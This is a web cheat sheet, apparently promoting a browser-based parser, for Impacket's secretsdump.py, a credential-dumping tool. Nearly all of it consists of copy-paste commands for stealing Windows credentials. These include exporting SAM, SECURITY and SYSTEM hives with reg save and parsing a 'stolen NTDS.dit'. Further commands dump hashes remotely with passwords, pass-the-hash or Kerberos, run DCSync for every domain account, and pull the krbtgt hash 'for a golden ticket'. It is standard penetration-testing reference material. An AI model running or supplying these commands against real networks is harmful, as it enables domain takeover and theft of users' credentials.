Skip to content

secretsdump.py cheat sheet: commands and examples

Impacket secretsdump.py / impacket-secretsdump reference: install it, dump SAM, SECURITY and NTDS.dit offline or remotely, DCSync, every flag, and the common errors.

Published on Updated on 5 min read

A copy-paste reference for the most common secretsdump.py (Impacket) invocations, grouped by scenario. Replace the $VARIABLES with your own values. On Kali the command is spelled impacket-secretsdump (see below); everything else is identical.

Installing and running it

secretsdump.py ships as one of Impacket's example scripts. How you invoke it depends on how Impacket was installed:

  • Kali / Parrot. The distro's impacket package installs the examples as impacket-<name> wrappers on PATH, so the command is impacket-secretsdump (a thin shim that calls the same script). Both names take the exact arguments below.

  • pip / pipx (recommended upstream). Fortra recommends pipx for a system-wide install:

    python3 -m pipx install impacket
    # then the script is on PATH as:
    secretsdump.py -h
    

    A plain pip install impacket works too, but pins Impacket's dependencies into whatever environment you run it from.

  • From a clone. git clone https://github.com/fortra/impacket and run examples/secretsdump.py directly, or pipx install . from the checkout.

  • Windows .exe builds. Community PyInstaller bundles (for example Impacket "windows binaries" releases) package secretsdump.exe so you can run it without a Python install. Antivirus and EDR frequently flag these, both because PyInstaller stubs are a common malware packer and because the tool itself dumps credentials. Prefer running the Python script from a managed box, and expect detections if you drop the .exe on a target.

  • No install at all. The offline LOCAL workflows below are exactly what secretsdump.com runs in the browser — parsing is client-side, nothing is uploaded and there is no Python to set up.

Offline dumping from exported hives (LOCAL)

The LOCAL keyword tells secretsdump to parse hive files instead of connecting to a host. You always need the SYSTEM hive (it holds the boot key) plus whichever hive you want to decrypt.

# SAM only (local account NT/LM hashes)
secretsdump.py -sam sam.save -system system.save LOCAL

# LSA secrets only (machine account, DPAPI keys, cached logons)
secretsdump.py -security security.save -system system.save LOCAL

# SAM + LSA together
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

# Include password history
secretsdump.py -sam sam.save -system system.save -history LOCAL

# Domain hashes from a stolen NTDS.dit (see how NTDS.dit stores hashes)
secretsdump.py -ntds ntds.dit -system system.save LOCAL

# Write results to files (creates <prefix>.sam, <prefix>.ntds, ...)
secretsdump.py -sam sam.save -system system.save -outputfile hashes LOCAL

The -ntds path parses a domain controller's database; for what that file is and how the hashes are wrapped inside it, see how NTDS.dit stores domain hashes. Not sure how to read the result? See the secretsdump output format breakdown.

Exporting the hives first

Offline dumping needs the hives on disk. From a live Windows host:

reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
reg save HKLM\SYSTEM system.save

The SYSTEM hive is always required because it holds the boot key that decrypts the other two.

For a domain controller's NTDS.dit, use a Volume Shadow Copy (the file is locked while the DC runs).

Remote dumping

Against a reachable host, secretsdump extracts SAM + LSA over the network:

# Password authentication
secretsdump.py "$DOMAIN/$USER:$PASSWORD@$TARGET"

# Local account authentication
secretsdump.py "./$USER:$PASSWORD@$TARGET"

# Pass-the-hash (NT hash only; LM half can be blank)
secretsdump.py -hashes ":$NTHASH" "$DOMAIN/$USER@$TARGET"

# Kerberos (uses the KRB5CCNAME ccache)
secretsdump.py -k -no-pass "$DOMAIN/$USER@$TARGET"

# When DNS is unhelpful, pin the IP
secretsdump.py -target-ip "$TARGET_IP" "$DOMAIN/$USER:$PASSWORD@$TARGET"

DCSync — domain hashes from a DC

With replication rights (Domain Admin, or a principal granted DS-Replication-Get-Changes), secretsdump pulls hashes straight from a domain controller without touching disk, using the DRSUAPI method:

# All domain accounts (NTLM + Kerberos keys)
secretsdump.py -just-dc "$DOMAIN/$USER:$PASSWORD@$DC"

# NTLM hashes only (skip Kerberos keys, faster)
secretsdump.py -just-dc-ntlm "$DOMAIN/$USER:$PASSWORD@$DC"

# A single account — e.g. the krbtgt for a golden ticket
secretsdump.py -just-dc-user krbtgt "$DOMAIN/$USER:$PASSWORD@$DC"

# Add account status and password-set dates
secretsdump.py -just-dc -user-status -pwd-last-set "$DOMAIN/$USER:$PASSWORD@$DC"

Full flag reference

The flags you will actually reach for, taken from secretsdump.py -h (Impacket 0.12/0.13). The target is always [[domain/]username[:password]@]<host> or the literal LOCAL.

Offline hives

FlagPurpose
LOCALParse hive files instead of connecting to a host
-systemPath to the exported SYSTEM hive (always needed offline)
-samPath to the exported SAM hive
-securityPath to the exported SECURITY hive
-ntdsPath to an exported NTDS.dit
-bootkeySupply the boot key directly instead of a SYSTEM hive

NTDS / DCSync selection

FlagPurpose
-just-dcDCSync: NTLM hashes and Kerberos keys for every account
-just-dc-ntlmDCSync NTLM hashes only (faster, skips Kerberos keys)
-just-dc-user USERNAMEDCSync a single account (e.g. krbtgt)
-user-statusMark whether each account is disabled
-pwd-last-setShow each account's pwdLastSet
-historyInclude password history (NTDS and SAM)
-use-vssUse the VSS/ntdsutil method instead of DRSUAPI
-resumefileResume an interrupted NTDS dump from a resume file
-outputfileBase filename for output (see below)

Authentication

FlagPurpose
-hashes LMHASH:NTHASHPass-the-hash (the LM half may be blank, :NTHASH)
-kUse Kerberos auth, reading the ticket from KRB5CCNAME
-no-passDon't prompt for a password (pair with -k)
-aesKey HEXKerberos auth with an AES128/256 key

Connection / remote exec

FlagPurpose
-dc-ip IPIP of the domain controller for name resolution
-target-ip IPIP of the target when DNS won't resolve it
-exec-method {smbexec,wmiexec,mmcexec}How the VSS method runs commands remotely (default smbexec)

Common errors

The messages you will actually hit, with what each one means.

  • [-] RemoteOperations failed: SMB SessionError: code: 0xc000006d - STATUS_LOGON_FAILURE Wrong username, password or hash, or a local account that isn't valid on that host. Double-check the realm: DOMAIN/user vs ./user for a local account.
  • rpc_s_access_denied (remote SAM/LSA dump) — you authenticated, but the account is not a local administrator on the target. SAM and LSA extraction needs admin on the box; a plain domain user cannot do it.
  • DRSR SessionError: code: 0x2105 - ERROR_DS_DRA_ACCESS_DENIED on -just-dc — the account lacks replication rights. DCSync needs DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain object (Domain Admins, Enterprise Admins and DCs have them by default).
  • DRSR SessionError: ... ERROR_DS_DRA_BAD_DN — the -just-dc-user name couldn't be resolved to an object. Check spelling; use the sAMAccountName.
  • Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user The DC enforces SPN target-name validation, which blocks the full dump over the forged SMB/TGS path. As the message says, fall back to -just-dc-user <name> for the accounts you need.

Output files

By default secretsdump prints to the terminal. -outputfile hashes instead writes one file per secret type, each with a fixed extension:

FileContents
hashes.samLocal account hashes (user:rid:lm:nt:::)
hashes.secretsLSA secrets and cached-logon material
hashes.cachedDomain cached credentials ($DCC2$ / mscash)
hashes.ntdsDomain account hashes from -ntds / -just-dc
hashes.ntds.kerberosKerberos keys when dumping NTDS

The .sam and .ntds files feed straight into Hashcat (mode 1000 for raw NT). For a field-by-field breakdown of each line, see the secretsdump output format guide.

Other tools

secretsdump is not the only way to do this; for pypykatz, gosecretsdump, NetExec, Mimikatz and the rest, see secretsdump alternatives compared.

Run it without installing anything

The offline LOCAL workflows above are exactly what secretsdump.com reproduces in the browser — drop your SYSTEM, SAM, SECURITY or NTDS.dit files onto the page and the parsing happens client-side, with no Python install and nothing uploaded.

Related articles

Beyond Impacket secretsdump: pypykatz, gosecretsdump, NetExec, Mimikatz, SharpSecDump, DSInternals and secretsdump.com — what each does and when to reach for it.
How secretsdump's -just-dc uses the DRSUAPI replication protocol to pull every domain hash from a DC without touching disk — the required rights, the flags, and what it outputs.
How to read Impacket secretsdump output — the username:RID:LMhash:NThash pwdump line, the blank LM hash, the DCC2 ($DCC2$) cache and the LSA secrets block.